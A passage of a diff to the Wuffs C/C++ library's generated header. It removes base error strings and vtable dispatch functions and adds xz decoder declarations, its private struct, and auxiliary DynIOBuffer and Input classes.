0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, -- 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, -- 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, -- 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, -- 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, -- 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, -- 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, -- 0x7FFFFFFFFFFFFFFF, --}; -+static inline wuffs_base__io_transformer* -+wuffs_xz__decoder__upcast_as__wuffs_base__io_transformer( -+ wuffs_xz__decoder* p) { -+ return (wuffs_base__io_transformer*)p; -+} - --const uint32_t wuffs_base__pixel_format__bits_per_channel[16] = { -- 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, -- 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, --}; -+// ---------------- Public Function Prototypes - --const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; --const char wuffs_base__note__end_of_data[] = "@base: end of data"; --const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; --const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; --const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; --const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; --const char wuffs_base__suspension__short_read[] = "$base: short read"; --const char wuffs_base__suspension__short_write[] = "$base: short write"; --const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; --const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; --const char wuffs_base__error__bad_argument[] = "#base: bad argument"; --const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; --const char wuffs_base__error__bad_data[] = "#base: bad data"; --const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; --const char wuffs_base__error__bad_restart[] = "#base: bad restart"; --const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; --const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; --const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; --const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; --const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; --const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; --const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; --const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; --const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; --const char wuffs_base__error__no_more_information[] = "#base: no more information"; --const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; --const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; --const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; --const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; --const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; --const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; --const char wuffs_base__error__too_much_data[] = "#base: too much data"; -- --const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; --const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; --const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; --const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; --const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xz__decoder__get_quirk( -+ const wuffs_xz__decoder* self, -+ uint32_t a_key); - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__CORE) -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_xz__decoder__set_quirk( -+ wuffs_xz__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value); - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_xz__decoder__dst_history_retain_length( -+ const wuffs_xz__decoder* self); - --// ---------------- Interface Definitions. -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_xz__decoder__workbuf_len( -+ const wuffs_xz__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_base__hasher_u32__checksum_u32( -- const wuffs_base__hasher_u32* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_xz__decoder__transform_io( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->checksum_u32)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#ifdef __cplusplus -+} // extern "C" -+#endif - -- return 0; --} -+// ---------------- Struct Definitions - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__hasher_u32__get_quirk( -- const wuffs_base__hasher_u32* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->get_quirk)(self, a_key); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- return 0; --} -+struct wuffs_xz__decoder__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__hasher_u32__set_quirk( -- wuffs_base__hasher_u32* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; -+ wuffs_base__vtable null_vtable; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_quirk)(self, a_key, a_value); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ uint32_t f_filters[3]; -+ uint32_t f_num_non_final_filters; -+ uint8_t f_checksummer; -+ bool f_ignore_checksum; -+ bool f_standalone_format; -+ bool f_lzma_needs_reset; -+ bool f_block_has_compressed_size; -+ bool f_block_has_uncompressed_size; -+ uint8_t f_bcj_undo_index; -+ uint32_t f_bcj_pos; -+ uint32_t f_bcj_x86_prev_mask; -+ uint64_t f_block_compressed_size; -+ uint64_t f_block_uncompressed_size; -+ uint64_t f_compressed_size_for_index; -+ uint32_t f_verification_have_hashed_sizes[2]; -+ uint32_t f_verification_want_hashed_sizes[2]; -+ uint64_t f_verification_have_total_sizes[2]; -+ uint64_t f_verification_want_total_sizes[2]; -+ uint64_t f_num_actual_blocks; -+ uint64_t f_num_index_blocks; -+ uint64_t f_index_block_compressed_size; -+ uint64_t f_index_block_uncompressed_size; -+ uint64_t f_backwards_size; -+ bool f_started_verify_index; -+ uint16_t f_flags; -+ -+ uint8_t (*choosy_apply_non_final_filters)( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; -+ uint32_t p_decode_block_header_with_padding; -+ uint32_t p_decode_block_header_sans_padding; -+ uint32_t p_verify_index; -+ uint32_t p_verify_footer; -+ } private_impl; - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+ struct { -+ uint8_t f_filter_data[3][256]; -+ wuffs_crc32__ieee_hasher f_crc32; -+ wuffs_crc64__ecma_hasher f_crc64; -+ wuffs_sha256__hasher f_sha256; -+ wuffs_lzma__decoder f_lzma; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_base__hasher_u32__update( -- wuffs_base__hasher_u32* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -- } -+ struct { -+ uint32_t v_checksum32_have; -+ uint32_t v_checksum32_want; -+ wuffs_base__bitvec256 v_checksum256_have; -+ uint64_t v_compressed_size; -+ uint64_t v_uncompressed_size; -+ uint64_t scratch; -+ } s_do_transform_io; -+ struct { -+ uint64_t v_padded_size_have; -+ uint64_t v_padded_size_want; -+ } s_decode_block_header_with_padding; -+ struct { -+ uint8_t v_flags; -+ uint8_t v_filter_id; -+ uint32_t v_shift; -+ uint32_t v_f; -+ uint64_t scratch; -+ } s_decode_block_header_sans_padding; -+ struct { -+ uint32_t v_shift; -+ } s_verify_index; -+ struct { -+ uint64_t scratch; -+ } s_verify_footer; -+ } private_data; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->update)(self, a_x); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; - -- return wuffs_base__make_empty_struct(); --} -+ // On failure, the alloc_etc functions return nullptr. They don't throw. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_base__hasher_u32__update_u32( -- wuffs_base__hasher_u32* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return 0; -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_xz__decoder__alloc()); - } - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->update_u32)(self, a_x); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -+ static inline wuffs_base__io_transformer::unique_ptr -+ alloc_as__wuffs_base__io_transformer() { -+ return wuffs_base__io_transformer::unique_ptr( -+ wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer()); - } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -- return 0; --} -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_xz__decoder__struct() = delete; -+ wuffs_xz__decoder__struct(const wuffs_xz__decoder__struct&) = delete; -+ wuffs_xz__decoder__struct& operator=( -+ const wuffs_xz__decoder__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - --// -------- -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__hasher_u64__checksum_u64( -- const wuffs_base__hasher_u64* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_xz__decoder__initialize( -+ this, sizeof_star_self, wuffs_version, options); - } - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->checksum_u64)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -+ inline wuffs_base__io_transformer* -+ upcast_as__wuffs_base__io_transformer() { -+ return (wuffs_base__io_transformer*)this; - } - -- return 0; --} -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__hasher_u64__get_quirk( -- const wuffs_base__hasher_u64* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_xz__decoder__get_quirk(this, a_key); - } - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->get_quirk)(self, a_key); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_xz__decoder__set_quirk(this, a_key, a_value); - } - -- return 0; --} -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__hasher_u64__set_quirk( -- wuffs_base__hasher_u64* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_xz__decoder__dst_history_retain_length(this); - } - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->set_quirk)(self, a_key, a_value); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_xz__decoder__workbuf_len(this); - } - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_base__hasher_u64__update( -- wuffs_base__hasher_u64* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ inline wuffs_base__status -+ transform_io( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ return wuffs_xz__decoder__transform_io(this, a_dst, a_src, a_workbuf); - } - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->update)(self, a_x); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#endif // __cplusplus -+}; // struct wuffs_xz__decoder__struct - -- return wuffs_base__make_empty_struct(); --} -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__hasher_u64__update_u64( -- wuffs_base__hasher_u64* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return 0; -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -- } -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->update_u64)(self, a_x); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -- return 0; --} -+// ---------------- Auxiliary - Base - --// -------- -+// Auxiliary code is discussed at -+// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__decode_frame( -- wuffs_base__image_decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+#include - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+#include -+#include - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+namespace wuffs_aux { - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__decode_frame_config( -- wuffs_base__image_decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+using IOBuffer = wuffs_base__io_buffer; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+// MemOwner represents ownership of some memory. Dynamically allocated memory -+// (e.g. from malloc or new) is typically paired with free or delete, invoked -+// when the std::unique_ptr is destroyed. Statically allocated memory might use -+// MemOwner(nullptr, &free), even if that statically allocated memory is not -+// nullptr, since calling free(nullptr) is a no-op. -+using MemOwner = std::unique_ptr; - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+using QuirkKeyValuePair = std::pair; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_base__image_decoder__decode_image_config( -- wuffs_base__image_decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+namespace sync_io { - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->decode_image_config)(self, a_dst, a_src); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+// -------- - -- return wuffs_base__make_status(wuffs_base__error__bad_vtable); --} -+// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. -+// It owns that backing array and will free it in its destructor. -+// -+// The array size can be explicitly extended (by calling the grow method) but, -+// unlike a C++ std::vector, there is no implicit extension (e.g. by calling -+// std::vector::insert) and its maximum size is capped by the max_incl -+// constructor argument. -+// -+// It contains an IOBuffer-typed field whose reader side provides access to -+// previously written bytes and whose writer side provides access to the -+// allocated but not-yet-written-to slack space. For Go programmers, this slack -+// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. -+class DynIOBuffer { -+ public: -+ enum GrowResult { -+ OK = 0, -+ FailedMaxInclExceeded = 1, -+ FailedOutOfMemory = 2, -+ }; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_base__image_decoder__frame_dirty_rect( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -+ // m_buf holds the dynamically sized byte array and its read/write indexes: -+ // - m_buf.meta.wi is roughly analogous to a Go slice's length. -+ // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is -+ // also equal to the m_buf.data.ptr malloc/realloc size. -+ // -+ // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as -+ // they are conceptually private to this class), but they can modify the -+ // bytes referenced by that pointer-length pair (e.g. compactions). -+ IOBuffer m_buf; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->frame_dirty_rect)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // m_max_incl is an inclusive upper bound on the backing array size. -+ const uint64_t m_max_incl; - -- return wuffs_base__utility__empty_rect_ie_u32(); --} -+ // Constructor and destructor. -+ explicit DynIOBuffer(uint64_t max_incl); -+ ~DynIOBuffer(); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__image_decoder__get_quirk( -- const wuffs_base__image_decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be -+ // used after a drop call. It just restarts from zero. -+ void drop(); - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->get_quirk)(self, a_key); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+ // grow ensures that the byte array size is at least min_incl and at most -+ // max_incl. It returns FailedMaxInclExceeded if that would require -+ // allocating more than max_incl bytes, including the case where (min_incl > -+ // max_incl). It returns FailedOutOfMemory if memory allocation failed. -+ GrowResult grow(uint64_t min_incl); - -- return 0; --} -+ private: -+ // Delete the copy and assign constructors. -+ DynIOBuffer(const DynIOBuffer&) = delete; -+ DynIOBuffer& operator=(const DynIOBuffer&) = delete; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__image_decoder__history_retain_length( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); -+}; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -- const wuffs_base__image_decoder__func_ptrs* func_ptrs = -- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -- return (*func_ptrs->history_retain_length)(self); -- } else if (v->vtable_name == NULL) { -- break; -- } -- v++; -- } -+// -------- - -- return 0; --} -+class Input { -+ public: -+ virtual ~Input(); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_base__image_decoder__num_animation_loops( -- const wuffs_base__image_decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ virtual IOBuffer* BringsItsOwnIOBuffer(); -+ virtual std::string CopyIn(IOBuffer* dst) = 0; -+}; - -- const wuffs_base__vtable* v = &self->private_impl.first_vtable; -- int i; -- for (i = 0; i < 63; i++) { -- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { 